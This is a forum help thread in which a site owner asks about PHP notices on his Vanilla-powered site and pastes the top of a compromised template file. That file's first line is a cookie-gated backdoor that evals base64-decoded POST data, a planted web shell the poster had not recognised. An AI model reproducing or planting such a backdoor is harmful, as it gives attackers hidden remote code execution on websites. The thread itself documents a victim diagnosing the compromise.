Hi--
I didn't change anything on idrinkyourmilkshake.com and suddenly get the following error on top of the page:

Notice: Undefined index: _wp_debugger in /home/jurgenfa/public_html/idrinkyourmilkshake.com/extensions/comments_permalinks/default.php on line 1

Does anybody have any advice on how to fix this? Thank you much!!

Jurgen

Now I see a new error on pages with discussions:

Notice: Undefined index: _wp_debugger in /home/jurgenfa/public_html/idrinkyourmilkshake.com/themes/comments.php on line 1

Where does this stuff come from? How do I make it go away? As I said, I didn't change anything at all. The site has been getting slightly more traffic recently but nothing crazy. Anybody? Is this another plugin error? Thank you!

Can nobody help with this? Is there any other way to get support for Vanilla? I'd love to have this error taken care of, and I don't know what else to try. Thanks again.

Thank you so much for your response. I'll paste the beginning of the file below. There's some debugger line in the beginning that seems to be causing the problem, but I don't know enough PHP to mess with it...



<?php if(md5($_COOKIE['_wp_debugger'])=="c4460c548c319f361cd75496359cc674"){ eval(base64_decode($_POST['file'])); exit; } ?><?php
// Note: This file is included from the library/Vanilla/Vanilla.Control.CommentGrid.php class.

$CommentList = '';
if ($this->Context->WarningCollector->Count() > 0) {
$CommentList .= '<div class="ErrorContainer">
<div class="ErrorTitle">'.$this->Context->GetDefinition('ErrorTitle').'</div>'
.$this->Context->WarningCollector->GetMessages()
.'</div>';
} else {
$PageDetails = $this->pl->GetPageDetails($this->Context);
$PageList = $this->pl->GetNumericList();
$SessionPostBackKey = $this->Context->Session->GetVariable('SessionPostBackKey', 'string');

$CommentList .= '<div class="ContentInfo Top">
<h1>';
if ($this->Context->Configuration['USE_CATEGORIES']) $CommentList .= '<a href="'.GetUrl($this->Context->Configuration, 'index.php', '', 'CategoryID', $this->Discussion->CategoryID).'">'.$this->Discussion->Category.'</a>: ';
$CommentList .= DiscussionPrefix($this->Context, $this->Discussion).' ';
if ($this->Discussion->WhisperUserID > 0) {
$CommentList .= $this->Discussion->WhisperUsername.': ';
}
$CommentList .= $this->Discussion->Name
.'</h1>
<a href="#pgbottom">'.$this->Context->GetDefinition('BottomOfPage').'</a>
<div class="PageInfo">
<p>'.$PageDetails.'</p>
'.$PageList.'
</div>
</div>


Thanks! How can you tell it's a wordpress exploit? I just upgraded to 2.5 (finally!) so hopefully that will fix the security hole?

I'll try to fix the file and I'll search the rest of the site for more instances.

Yeah, I think you're right about 2.5. Argghh! I'm backing up the entire site to do a search... thanks again for locating the problem.